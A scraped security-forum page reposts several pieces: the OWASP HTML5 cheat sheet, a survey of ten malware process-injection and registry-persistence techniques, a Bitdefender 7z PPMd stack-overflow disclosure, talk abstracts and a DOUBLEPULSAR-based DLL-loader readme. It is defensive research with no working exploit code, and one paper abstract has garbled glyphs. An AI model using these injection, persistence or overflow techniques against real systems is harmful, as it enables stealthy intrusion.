XMLHttpRequest object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security. While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input. Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a DOM Based XSS vulnerability. Sandboxed frames Use the sandbox attribute of an iframe for untrusted content. The sandbox attribute of an iframe enables restrictions on content within a iframe. The following restrictions are active when the sandbox attribute is set: All markup is treated as being from a unique origin. All forms and scripts are disabled. All links are prevented from targeting other browsing contexts. All features that triggers automatically are blocked. All plugins are disabled. It is possible to have a fine-grained control over iframe capabilities using the value of the sandbox attribute. In old versions of user agents where this feature is not supported, this attribute will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported. Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header X-Frame-Options which supports the deny and same-origin values. Other solutions like framebusting if(window!== window.top) { window.top.location = location; } are not recommended. Offline Applications Whether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted varies from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any manifest file. Users should only cache trusted websites and clean the cache after browsing through open or insecure networks. Progressive Enhancements and Graceful Degradation Risks The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the <video> tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed. HTTP Headers to enhance security X-Frame-Options This header can be used to prevent ClickJacking in modern browsers. Use the same-origin attribute to allow being framed from urls of the same origin or deny to block all. Example: X-Frame-Options: DENY For more information on Clickjacking Defense please see the Clickjacking Defense Cheat Sheet. X-XSS-Protection Enable XSS filter (only works for Reflected XSS). Example: X-XSS-Protection: 1; mode=block Strict Transport Security Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks). Use includeSubDomains. Example: Strict-Transport-Security: max-age=8640000; includeSubDomains Content Security Policy Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting. Example: Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com Origin Sent by CORS/WebSockets requests. There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose. Authors and Primary Editors First Last Email Mark Roxberry mark.roxberry [at] owasp.org Krzysztof Kotowicz krzysztof [at] kotowicz.net Will Stranathan will [at] cltnc.us Shreeraj Shah shreeraj.shah [at] blueinfy.net Juan Galiana Lara jgaliana [at] owasp.org Sursa: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
  5. Nytro

    Fun stuff

    Cu ce ramanem din ce se posteaza pe forum? https://img-9gag-fun.9cache.com/photo/ad9XZjB_460sv.mp4
  6. Farfalle: parallel permutation-based cryptography Guido Bertoni1 , Joan Daemen1,2, Seth Hoffert, Michaël Peeters1 , Gilles Van Assche1 , and Ronny Van Keer1 1 STMicroelectronics 2 Radboud University Abstract. In this paper, we introduce Farfalle, a new permutation-based construction for building a pseudorandom function (PRF). The PRF takes as input a key and a sequence of arbitrarylength data strings, and returns an arbitrary-length output. It has a compression layer and an expansion layer, each involving the parallel application of a permutation. The construction also makes use of LFSR-like rolling functions for generating input and output masks and for updating the inner state during expansion. On top of the inherent parallelism, Farfalle instances can be very efficient because the construction imposes less requirements on the underlying primitive than, e.g., the duplex construction or typical block cipher modes. Farfalle has an incremental property: compression of common prefixes of inputs can be factored out. Thanks to its input-output characteristics, Farfalle is really versatile. We specify simple modes on top of it for authentication, encryption and authenticated encryption, as well as a wide block cipher mode. As a showcase, we present Kџюѣюѡѡђ, a very efficient instance of Farfalle based on Kђѐѐюј-p[1600, nr] permutations and formulate concrete security claims against classical and quantum adversaries. The permutations in the compression and expansion layers of Kџюѣюѡѡђ have only 6 and 4 rounds respectively and the rolling function is lightweight. We provide a rationale for our choices and report on soĞware performance. Download: https://eprint.iacr.org/2016/1188.pdf
      • 1
      • Upvote
  7. Nytro

    JSParser

    JSParser A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests when performing security research or bug bounty hunting. Dependencies safeurl tornado jsbeautifier Installing $ python setup.py install Running Run handler.py and then visit http://localhost:8008. $ python handler.py Authors https://twitter.com/bbuerhaus/ https://twitter.com/nahamsec/ Inspired By https://twitter.com/jobertabma/ References http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/ http://buer.haus/2017/03/09/airbnb-chaining-third-party-open-redirect-into-server-side-request-forgery-ssrf-via-liveperson-chat/ Changelog 1.0 - Release Sursa: https://github.com/nahamsec/JSParser
  8. Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques Ashkan Hosseini JULY 18, 2017 Process injection is a widespread defense evasion technique employed often within malware and fileless adversary tradecraft, and entails running custom code within the address space of another process. Process injection improves stealth, and some techniques also achieve persistence. Although there are numerous process injection techniques, in this blog I present ten techniques seen in the wild that run malware code on behalf of another process. I additionally provide screenshots for many of these techniques to facilitate reverse engineering and malware analysis, assisting detection and defense against these common techniques. 1. CLASSIC DLL INJECTION VIA CREATEREMOTETHREAD AND LOADLIBRARY This technique is one of the most common techniques used to inject malware into another process. The malware writes the path to its malicious dynamic-link library (DLL) in the virtual address space of another process, and ensures the remote process loads it by creating a remote thread in the target process. The malware first needs to target a process for injection (e.g. svchost.exe). This is usually done by searching through processes by calling a trio of Application Program Interfaces (APIs): CreateToolhelp32Snapshot, Process32First, and Process32Next. CreateToolhelp32Snapshot is an API used for enumerating heap or module states of a specified process or all processes, and it returns a snapshot. Process32First retrieves information about the first process in the snapshot, and then Process32Next is used in a loop to iterate through them. After finding the target process, the malware gets the handle of the target process by calling OpenProcess. As shown in Figure 1, the malware calls VirtualAllocEx to have a space to write the path to its DLL. The malware then calls WriteProcessMemory to write the path in the allocated memory. Finally, to have the code executed in another process, the malware calls APIs such as CreateRemoteThread, NtCreateThreadEx, or RtlCreateUserThread. The latter two are undocumented. However, the general idea is to pass the address of LoadLibrary to one of these APIs so that a remote process has to execute the DLL on behalf of the malware. CreateRemoteThread is tracked and flagged by many security products. Further, it requires a malicious DLL on disk which could be detected. Considering that attackers are most commonly injecting code to evade defenses, sophisticated attackers probably will not use this approach. The screenshot below displays a malware named Rebhip performing this technique. Figure 1: Rebhip worm performing a typical DLL injection Sha256: 07b8f25e7b536f5b6f686c12d04edc37e11347c8acd5c53f98a174723078c365 2. PORTABLE EXECUTABLE INJECTION (PE INJECTION) Instead of passing the address of the LoadLibrary, malware can copy its malicious code into an existing open process and cause it to execute (either via a small shellcode, or by calling CreateRemoteThread). One advantage of PE injection over the LoadLibrary technique is that the malware does not have to drop a malicious DLL on the disk. Similar to the first technique, the malware allocates memory in a host process (e.g. VirtualAllocEx), and instead of writing a “DLL path” it writes its malicious code by calling WriteProcessMemory. However, the obstacle with this approach is the change of the base address of the copied image. When a malware injects its PE into another process it will have a new base address which is unpredictable, requiring it to dynamically recompute the fixed addresses of its PE. To overcome this, the malware needs to find its relocation table address in the host process, and resolve the absolute addresses of the copied image by looping through its relocation descriptors. This technique is similar to other techniques, such as reflective DLL injection and memory module, since they do not drop any files to the disk. However, memory module and reflective DLL injection approaches are even stealthier. They do not rely on any extra Windows APIs (e.g., CreateRemoteThread or LoadLibrary), because they load and execute themselves in the memory. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window’s loader. Memory Module is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. In a previous blog post, these two in memory approaches were discussed extensively. When analyzing PE injection, it is very common to see loops (usually two “for” loops, one nested in the other), before a call to CreateRemoteThread. This technique is quite popular among crypters (softwares that encrypt and obfuscate malware). In Figure 2, the sample unit test is taking advantage of this technique. The code has two nested loops to adjust its relocation table that can be seen before the calls to WriteProcessMemory and CreateRemoteThread. The “and 0x0fff” instruction is also another good indicator, showing that the first 12 bits are used to get the offset into the virtual address of the containing relocation block. Now that the malware has recomputed all the necessary addresses, all it needs to do is pass its starting address to CreateRemoteThread and have it executed. Figure 2: Example structure of the loops for PE injection prior to calls to CreateRemoteThread Sha256: ce8d7590182db2e51372a4a04d6a0927a65b2640739f9ec01cfd6c143b1110da 3. PROCESS HOLLOWING (A.K.A PROCESS REPLACEMENT AND RUNPE) Instead of injecting code into a host program (e.g., DLL injection), malware can perform a technique known as process hollowing. Process hollowing occurs when a malware unmaps (hollows out) the legitimate code from memory of the target process, and overwrites the memory space of the target process (e.g., svchost.exe) with a malicious executable. The malware first creates a new process to host the malicious code in suspended mode. As shown in Figure 3, this is done by calling CreateProcess and setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004). The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called. Next, the malware needs to swap out the contents of the legitimate file with its malicious payload. This is done by unmapping the memory of the target process by calling either ZwUnmapViewOfSection or NtUnmapViewOfSection. These two APIs basically release all memory pointed to by a section. Now that the memory is unmapped, the loader performs VirtualAllocEx to allocate new memory for the malware, and uses WriteProcessMemory to write each of the malware’s sections to the target process space. The malware calls SetThreadContext to point the entrypoint to a new code section that it has written. At the end, the malware resumes the suspended thread by calling ResumeThread to take the process out of suspended state. Figure 3: Ransom.Cryak performing process hollowing Sha256: eae72d803bf67df22526f50fc7ab84d838efb2865c27aef1a61592b1c520d144 4. THREAD EXECUTION HIJACKING (A.K.A SUSPEND, INJECT, AND RESUME (SIR)) This technique has some similarities to the process hollowing technique previously discussed. In thread execution hijacking, malware targets an existing thread of a process and avoids any noisy process or thread creations operations. Therefore, during analysis you will probably see calls to CreateToolhelp32Snapshot and Thread32First followed by OpenThread. After getting a handle to the target thread, the malware puts the thread into suspended mode by calling SuspendThread to perform its injection. The malware calls VirtualAllocEx and WriteProcessMemory to allocate memory and perform the code injection. The code can contain shellcode, the path to the malicious DLL, and the address of LoadLibrary. Figure 4 illustrates a generic trojan using this technique. In order to hijack the execution of the thread, the malware modifies the EIP register (a register that contains the address of the next instruction) of the targeted thread by calling SetThreadContext. Afterwards, malware resumes the thread to execute the shellcode that it has written to the host process. From the attacker’s perspective, the SIR approach can be problematic because suspending and resuming a thread in the middle of a system call can cause the system to crash. To avoid this, a more sophisticated malware would resume and retry later if the EIP register is within the range of NTDLL.dll. Figure 4: A generic trojan is performing thread execution hijacking Sha256: 787cbc8a6d1bc58ea169e51e1ad029a637f22560660cc129ab8a099a745bd50e 5. HOOK INJECTION VIA SETWINDOWSHOOKEX Hooking is a technique used to intercept function calls. Malware can leverage hooking functionality to have their malicious DLL loaded upon an event getting triggered in a specific thread. This is usually done by calling SetWindowsHookEx to install a hook routine into the hook chain. The SetWindowsHookEx function takes four arguments. The first argument is the type of event. The events reflect the range of hook types, and vary from pressing keys on the keyboard (WH_KEYBOARD) to inputs to the mouse (WH_MOUSE), CBT, etc. The second argument is a pointer to the function the malware wants to invoke upon the event execution.The third argument is a module that contains the function. Thus, it is very common to see calls to LoadLibrary and GetProcAddress before calling SetWindowsHookEx. The last argument to this function is the thread with which the hook procedure is to be associated. If this value is set to zero all threads perform the action when the event is triggered. However, malware usually targets one thread for less noise, thus it is also possible to see calls CreateToolhelp32Snapshot and Thread32Next before SetWindowsHookEx to find and target a single thread. Once the DLL is injected, the malware executes its malicious code on behalf of the process that its threadId was passed to SetWindowsHookEx function. In Figure 5, Locky Ransomware implements this technique. Figure 5: Locky Ransomware using hook injection Sha256: 5d6ddb8458ee5ab99f3e7d9a21490ff4e5bc9808e18b9e20b6dc2c5b27927ba1 6. INJECTION AND PERSISTENCE VIA REGISTRY MODIFICATION (E.G. APPINIT_DLLS, APPCERTDLLS, IFEO) Appinit_DLL, AppCertDlls, and IFEO (Image File Execution Options) are all registry keys that malware uses for both injection and persistence. The entries are located at the following locations: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls HKLM\Software\Microsoft\Windows NT\currentversion\image file execution options AppInit_DLLs Malware can insert the location of their malicious library under the Appinit_Dlls registry key to have another process load their library. Every library under this registry key is loaded into every process that loads User32.dll. User32.dll is a very common library used for storing graphical elements such as dialog boxes. Thus, when a malware modifies this subkey, the majority of processes will load the malicious library. Figure 6 demonstrates the trojan Ginwui relying on this approach for injection and persistence. It simply opens the Appinit_Dlls registry key by calling RegCreateKeyEx, and modifies its values by calling RegSetValueEx. Figure 6: Ginwui modifying the AppIniti_DLLs registry key Sha256: 9f10ec2786a10971eddc919a5e87a927c652e1655ddbbae72d376856d30fa27c AppCertDlls This approach is very similar to the AppInit_DLLs approach, except that DLLs under this registry key are loaded into every process that calls the Win32 API functions CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, CreateProcessWithTokenW, and WinExec. Image File Execution Options (IFEO) IFEO is typically used for debugging purposes. Developers can set the “Debugger Value” under this registry key to attach a program to another executable for debugging. Therefore, whenever the executable is launched the program that is attached to it will be launched. To use this feature you can simply give the path to the debugger, and attach it to the executable that you want to analyze. Malware can modify this registry key to inject itself into the target executable. In Figure 7, Diztakun trojan implements this technique by modifying the debugger value of Task Manager. Figure 7: Diztakun trojan modifying IFEO registry key Sha256: f0089056fc6a314713077273c5910f878813fa750f801dfca4ae7e9d7578a148 7. APC INJECTION AND ATOMBOMBING Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alterable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alterable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread. QueueUserAPC takes three arguments: 1) a handle to the target thread; 2) a pointer to the function that the malware wants to run; 3) and the parameter that is passed to the function pointer. In Figure 8, Amanahe malware first calls OpenThread to acquire a handle of another thread, and then calls QueueUserAPC with LoadLibraryA as the function pointer to inject its malicious DLL into another thread. AtomBombing is a technique that was first introduced by enSilo research, and then used in Dridex V4. As we discussed in detail in a previous post, the technique also relies on APC injection. However, it uses atom tables for writing into memory of another process. Figure 8: Almanahe performing APC injection Sha256: f74399cc0be275376dad23151e3d0c2e2a1c966e6db6a695a05ec1a30551c0ad 8. EXTRA WINDOW MEMORY INJECTION (EWMI) VIA SETWINDOWLONG EWMI relies on injecting into Explorer tray window’s extra window memory, and has been used a few times among malware families such as Gapz and PowerLoader. When registering a window class, an application can specify a number of additional bytes of memory, called extra window memory (EWM). However, there is not much room in EWM. To circumvent this limitation, the malware writes code into a shared section of explorer.exe, and uses SetWindowLong and SendNotifyMessage to have a function pointer to point to the shellcode, and then execute it. The malware has two options when it comes to writing into a shared section. It can either create a shared section and have it mapped both to itself and to another process (e.g., explorer.exe), or it can simply open a shared section that already exists. The former has the overhead of allocating heap space and calling NTMapViewOfSection in addition to a few other API calls, so the latter approach is used more often. After malware writes its shellcode in a shared section, it uses GetWindowLong and SetWindowLong to access and modify the extra window memory of “Shell_TrayWnd”. GetWindowLong is an API used to retrieve the 32-bit value at the specified offset into the extra window memory of a window class object, and SetWindowLong is used to change values at the specified offset. By doing this, the malware can simply change the offset of a function pointer in the window class, and point it to the shellcode written to the shared section. Like most other techniques mentioned above, the malware needs to trigger the code that it has written. In previously discussed techniques, malware achieved this by calling APIs such as CreateRemoteThread, QueueUserAPC, or SetThreadContext. With this approach, the malware instead triggers the injected code by calling SendNotifyMessage. Upon execution of SendNotifyMessage, Shell_TrayWnd receives and transfers control to the address pointed to by the value previously set by SetWindowLong. In Figure 9, a malware named PowerLoader uses this technique. Figure 9: PowerLoader injecting into extra window memory of shell tray window Sha256: 5e56a3c4d4c304ee6278df0b32afb62bd0dd01e2a9894ad007f4cc5f873ab5cf 9. INJECTION USING SHIMS Microsoft provides Shims to developers mainly for backward compatibility. Shims allow developers to apply fixes to their programs without the need of rewriting code. By leveraging shims, developers can tell the operating system how to handle their application. Shims are essentially a way of hooking into APIs and targeting specific executables. Malware can take advantage of shims to target an executable for both persistence and injection. Windows runs the Shim Engine when it loads a binary to check for shimming databases in order to apply the appropriate fixes. There are many fixes that can be applied, but malware’s favorites are the ones that are somewhat security related (e.g., DisableNX, DisableSEH, InjectDLL, etc). To install a shimming database, malware can deploy various approaches. For example, one common approach is to simply execute sdbinst.exe, and point it to the malicious sdb file. In Figure 10, an adware, “Search Protect by Conduit”, uses a shim for persistence and injection. It performs an “InjectDLL” shim into Google Chrome to load vc32loader.dll. There are a few existing tools for analyzing sdb files, but for the analysis of the sdb listed below, I used python-sdb. Figure10: SDB used by Search Protect for injection purposes Sha256: 6d5048baf2c3bba85adc9ac5ffd96b21c9a27d76003c4aa657157978d7437a20 10. IAT HOOKING AND INLINE HOOKING (A.K.A USERLAND ROOTKITS) IAT hooking and inline hooking are generally known as userland rootkits. IAT hooking is a technique that malware uses to change the import address table. When a legitimate application calls an API located in a DLL, the replaced function is executed instead of the original one. In contrast, with inline hooking, malware modifies the API function itself. In Figure 11, the malware FinFisher, performs IAT hooking by modifying where the CreateWindowEx points. Figure 11: FinFisher performing IAT hooking by changing where CreateWindowEx points to Sha256: f827c92fbe832db3f09f47fe0dcaafd89b40c7064ab90833a1f418f2d1e75e8e CONCLUSION In this post, I covered ten different techniques that malware uses to hide its activity in another process. In general, malware either directly injects its shellcode into another process or it forces another process to load its malicious library. In Table 1, I have classified the various techniques and provided samples to serve as a reference for observing each injection technique covered in this post. The figures included throughout the post will help the researcher recognize the various techniques when reversing malware. Table1: Process injection can be done by directly injecting code into another process, or by forcing a DLL to be loaded into another process Attackers and researchers regularly discover new techniques to achieve injection and provide stealth. This post detailed ten common and emerging techniques, but there are others, such as COM hijacking. Defenders will never be “done” in their mission to detect and prevent stealthy process injection because adversaries will never stop innovating. At Endgame, we constantly research advanced stealth techniques and bring protections into our product. We layer capabilities which detect malicious DLLs that load on some persistence (like AppInit DLLs, COM Hijacks, and more), prevent many forms of code injection in real-time via our patented shellcode injection protection, and detect malicious injected payloads running in memory delivered through any of the above techniques through our patent-pending fileless attack detection techniques. This approach allows our platform to be more effective than any other product on the market in protecting against code injection, while also maximizing resiliency against bypass due to emerging code injection techniques. Sursa: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      • 2
      • Upvote
  9. July 18, 2017 Bitdefender: Remote Stack Buffer Overflow via 7z PPMD If you read my previous blog post and were bored by it, then this might be for you. With the second post of the series, I am delivering on the promise of discussing a bug that occurs in a more complex setting. A bug in a software module that extracts a prominent archive format (such as 7z) needs to be treated with great caution. It is often critical not only for the software itself, but also for many different software products that are sharing the same library or are based on the same reference implementation. So, does this bug affect Igor Pavlov’s 7z reference implementation1? Well, I believe it does not. However, it would not surprise me if products other than Bitdefender were affected by this. Introduction After having found critical bugs in anti-virus products of smaller vendors, I eventually decided to have a look at Bitdefender’s anti-virus product. Therefore, I started my fuzzing engine and after a couple of hours I had the first crashes, which involved the 7z file format. 7z is quite complex. The file format itself is non-trivial, and the many compression methods it supports are so, too. Fortunately, only some parts of the file format and the so-called PPMd codec are relevant to this bug. PPMd is a compression algorithm originally developed by Dmitry Shkarin2. It makes use of prediction by partial matching3 and combines it with range encoding4. In essence, prediction by partial matching is the idea of building a model that tries to predict the next symbol given the n previous symbols. The context stores the sequence consisting of the last n symbols, and the constant n is called the order of the model. I hope that this basic information will suffice to understand what follows. In case you like to read more about PPM, I strongly recommend the paper by Cleary and Witten5. Alternatively, Mark Nelson’s blog post6is a great read, too. Getting Into the Details Debugging a crash that occurs deep in 7z code of an anti-virus product is a nightmare if you have no symbols. A possible remedy is to take the reference implementation and try to match the function names. Even though Bitdefender seems to reuse7 7-Zip code, it is not exactly trivial to do this, because the compiler has applied a lot of inlining and even interprocedural optimization. Having matched the most important 7-Zip functions, we can step through carefully with WinDbg and easily observe that there is an overflow of the stack-allocated ps buffer in the function CreateSuccessors. In the most recent 7-Zip version, the (first half of the) function looks as follows8. static CTX_PTR CreateSuccessors(CPpmd7 *p, Bool skip) { CPpmd_State upState; CTX_PTR c = p->MinContext; CPpmd_Byte_Ref upBranch = (CPpmd_Byte_Ref)SUCCESSOR(p->FoundState); CPpmd_State *ps[PPMD7_MAX_ORDER]; /* PPMD7_MAX_ORDER==64 */ unsigned numPs = 0; if (!skip) { ps[numPs++] = p->FoundState; } while (c->Suffix) { CPpmd_Void_Ref successor; CPpmd_State *s; c = SUFFIX(c); /* SUFFIX(c) == c->Suffix */ if (c->NumStats != 1) { for (s = STATS(c); s->Symbol != p->FoundState->Symbol; s++); } else { s = ONE_STATE(c); } successor = SUCCESSOR(s); if (successor != upBranch) { c = CTX(successor); if (numPs == 0) return c; break; } ps[numPs++] = s; } /* ### Rest of function omitted. ### */ } We see that the current context (a linked list) is traversed, filling the ps buffer. It is striking that there is no bound check whatsoever. So, if this is the code from the original 7-Zip implementation, can this be correct? Recall that the order of the model is the number of symbols that can be stored in the context. If the context is always updated correctly, it should never contain more elements than the order of the model. So how is a correct update ensured? No matter what the actual mechanism is, it will definitely need to know the order of the model. The name PPMD7_MAX_ORDER is already hinting at the fact that 64 is the maximumorder. The actual order, however, may be different. The 7-Zip source code reveals what we are looking for9. STDMETHODIMP CDecoder::SetDecoderProperties2(const Byte *props, UInt32 size) { if (size < 5) { return E_INVALIDARG; } _order = props[0]; UInt32 memSize = GetUi32(props + 1); if (_order < PPMD7_MIN_ORDER || _order > PPMD7_MAX_ORDER || memSize < PPMD7_MIN_MEM_SIZE || memSize > PPMD7_MAX_MEM_SIZE) return E_NOTIMPL; if (!_inStream.Alloc(1 << 20)) { return E_OUTOFMEMORY; } if (!Ppmd7_Alloc(&_ppmd, memSize, &g_BigAlloc)) { return E_OUTOFMEMORY }; return S_OK; } (Note that this is not the code running in Bitdefender’s engine) We see that the order is read from the props array. As it turns out, this props is read directly from the input file. More specifically, this is the Properties array contained in the Folder structure of 7z’s file format10. Moreover, we see that the reference implementation makes sure that the order is not greater than PPMD7_MAX_ORDER. The order byte of my crashing input is 0x5D, and Bitdefender’s 7z module extracts it anyway. Hence, they omitted this check. This results in a stack buffer overflow. On Attacker Control The attacker can fully control the order byte, the maximum order being 255. This allows her to insert up to 255 pointers into the buffer, 191 of which are out of bound. Those pointers point to CPpmd_State structs of the following type (defined in Ppmd.h). typedef struct { Byte Symbol; Byte Freq; UInt16 SuccessorLow; UInt16 SuccessorHigh; } CPpmd_State; Note that all struct members are attacker controlled. Exploitation and Impact Bitdefender uses a stack canary, as well as ASLR and DEP. Interestingly, they do not seem to use SafeSEH for a large part of the system. The reason for this is that Bitdefender’s core dynamically loads most of its modules (such as the 7z module) from binary plug-in files which are in a proprietary binary format (i.e., they are not Windows DLLs). More specifically, the engine contains a loader that allocates memory, reads the plug-in files from the file system, decrypts and decompresses them, and then finally relocates the code. Hence, they do not use the Windows PE image loader for a large fraction of the executed code, making it very difficult (if not impossible) to use the full SafeSEH protection mechanism. It seems that they work around this restriction by avoiding the use of exceptions within code of their plug-ins.11 The engine runs unsandboxed and as NT Authority\SYSTEM. Moreover, since the software uses a file system minifilter, this vulnerability can be easily exploited remotely, for example by sending an email with a crafted file as attachment to the victim. Note also that Bitdefender’s engine is licensed to many different anti-virus vendors such as F-Secure or G Data, all of which could be affected by this bug.12 The Fix Bitdefender decided to fix the bug by ensuring that the function CreateSuccessors throws an error as soon as the variable numPs (index into the ps buffer) reaches the value PPMD7_MAX_ORDER. They still accept an order greater than PPMD7_MAX_ORDER, but the extraction process aborts at the point just when numPs==PPMD7_MAX_ORDER. This kind of design choice is common practice in the anti-virus industry. They all like to parse and process files in a relaxed fashion. In particular, they are inclined to accept various kinds of (partially) invalid files. The reason for this is essentially that there exist many different variants of consumer software processing popular file formats (such as rar, zip or 7z). The aim of relaxed file parsing and processing is to cover as many implementations as possible, and to avoid the scenario in which the anti-virus product is dismissing a file as invalid that then is successfully processed by some consumer software. Considering this mindset when it comes to invalid files, it may very well be that the check of the PPMd order has been omitted deliberately in the first place. Conclusion We have seen that it can be challenging to incorporate external code into your software without introducing critical bugs. When you cannot avoid using external C/C++ code, you should review it with utmost diligence. This bug, for example, could have been caught quite easily by a thorough review. Note also that it requires a rather involved argument to explain why the buffer in CreateSuccessors cannot overflow, given that the order is not greater than PPMD7_MAX_ORDER. I do not even try to make such an argument, because I believe it should not be required. If the function being free from buffer overflows strongly depends on several other functions and how they update the state, are we not doing something terribly wrong? Do you have any comments, feedback, doubts, or complaints? I would love to hear them. You can find my email address on the about page. Timeline of Disclosure 02/11/2017 - Discovery 02/13/2017 - “Thank you for your report, we will investigate and come back with an answer.” 02/21/2017 - Confirmed and patch rolled out 02/28/2017 - Bug bounty paid Thanks & Acknowledgements I want to thank Bitdefender and especially Marius for their fast response as well as their quick patch. In today’s anti-virus industry, this is (unfortunately) not something that can be taken for granted. Test File If you would like to test quickly whether a 7z implementation might be vulnerable, you can try to let it extract this test archive. It is a 7z archive, containing a file foo.txt which itself contains the ASCII string bar.foo.txt is compressed using PPMd with order 65 (recall that PPMD7_MAX_ORDER==64 in the reference implementation). Note that this file will not cause a stack buffer overflow with the reference implementation even if the order is not checked properly. However, in case a system extracts the file foo.txt successfully (recovering the string bar), this is a strong indication that the order is not checked properly and you should investigate further whether it is vulnerable to the stack buffer overflow or not. http://www.7-zip.org/ [return] http://compression.ru/ds/ [return] https://en.wikipedia.org/wiki/Prediction_by_partial_matching [return] https://en.wikipedia.org/wiki/Range_encoding [return] http://ieeexplore.ieee.org/document/1096090/ [return] http://marknelson.us/1991/02/01/arithmetic-coding-statistical-modeling-data-compression/#part2 [return] Well, the code is very similar, but they changed a few things. For example, they have ported most (if not all) of the C code to C++. [return] CreateSuccessors is located in C/Ppmd7.c of the most recent 7-Zip 17.00. Note that the actual code running in Bitdefender is slightly different. However, I believe that the differences are not relevant to this bug. [return] CDecoder::SetDecoderProperties2 is located in CPP/7zip/Compress/PpmdDecoder.cpp of the most recent 7-Zip 17.00. [return] The 7z file format is documented (partially) in the file DOC/7zFormat.txt of the 7-Zip source package. [return] This requires rewriting a lot of the C++ code that is incorporated into the product. 7-Zip, for example, relies on exceptions at various places. [return] G Data’s anti-virus product is the only one I explicitly checked, and it is definitely affected. Other products are very likely affected, too, if they use Bitdefender’s 7z module. [return] Sursa: https://landave.io/2017/07/bitdefender-remote-stack-buffer-overflow-via-7z-ppmd/
  10. Super, nu stiam ca a facut cineva. L-am intrebat pe Domas dupa prezentarea la Defcon daca se poate face un "demovfuscator" si zicea ca teoretic e posibil, dar dificil.
  11. Nytro

    Fun stuff

  12. Incearca versiunea taraneasca de optimizare: ia un server dedicat bun si scump.
  13. E genial tipul care a facut asta. Hacker in adevaratul sens al cuvantului.
  14. Publicat pe 17 iul. 2017 Java Serialization is commonly used by large-scale enterprise applications and presents significant opportunities for attacks that often lead to unauthenticated remote command execution against the underlying application servers. While serialization exploits are not new, identifying and exploiting serialization vulnerabilities can be more involved than other common vulnerabilities. During this talk I’ll look at some real attacks against Java serialization and demonstrate how to identify and attack serialization vulnerabilities to reap the rewards of RCE.
      • 1
      • Upvote
  15. Publicat pe 17 iul. 2017 Due to technical difficulties with the venue we couldn't get a feed off of the in house mixer until after lunch, so audio here is recorded using a small omni on the floor which had trouble picking up the audio properly. Our sincerest apologies, but this was the best we could do. This talk aims to provide an overview of the Windows kernel mode attack surface, how to interact with it and the challenges in exploiting kernel memory corruption vulnerabilities on the latest releases of Windows. With the rise of sandboxes and locked down user accounts attackers are increasingly resorting to attacking kernel mode code to gain full access to compromised systems. This talk will demonstrate the tools available for finding bugs in Windows kernel mode code and drivers together with highlighting some of the lower hanging fruit, common mistakes and the steps being taken (or lack of steps being taken) to mitigate the risks posed. The talk will then cover common exploitation techniques to gather information about the state of kernel mode memory and to gain code execution as SYSTEM. Finally the talk will walk through exploiting a Kernel mode memory corruption vulnerability on a modern release of Windows.
  16. Publicat pe 17 iul. 2017 This talk illustrates a number of techniques to smuggle and reshape HTTP requests using features such as HTTP Pipelining that are not normally used by testers. The strange behaviour of web servers with different technologies will be reviewed using HTTP versions 1.1, 1.0, and 0.9 before HTTP v2 becomes too popular! Some of these techniques might come in handy when dealing with a dumb WAF or load balancer that blocks your attacks.
      • 1
      • Upvote
  17. Author: Matt Hillman (matt.hillman@countercept.com - @sp1nl0ck) Company: Countercept (@countercept) Website: https://countercept.com A utility to use the usermode shellcode from the DOUBLEPULSAR payload to reflectively load an arbitrary DLL into another process, for use in testing detection techniques or other security research. Background The DOUBLEPULSAR payload released by Shadow Brokers initially runs in kernel mode and reflectively loads a DLL into a usermode process using an Asynchronous Procedure Call (APC). The actual loading of the DLL occurs in usermode, and this utility makes use of that usermode shellcode to load a DLL in a specified process and execute a given ordinal. This is to help with testing attack detection and digital forensic incident response techniques against the payload. The loader is of interest as it works with any arbitrary DLL without making use of the standard LoadLibrary call. Avoiding LoadLibrary can make the load more stealthy as it avoids the need to write the DLL to disk, can avoid anything monitoring LoadLibrary calls, and can also avoid having an entry in the Process Environment Block (PEB), which is usually how a list of loaded modules is obtained. Such techniques are now fairly common place, but up to now we were not aware of any public code that could load an arbitrary DLL in this way - existing code requires the DLL to be custom built to support being loaded. DOUBLEPULSAR is different in that it implements a more complete loader that can load almost any DLL. This loader works on almost any version of Windows as-is. While DOUBLEPULSAR itself uses an APC call from kernel mode queued against a usermode process, this utility queues the APC from usermode; this makes 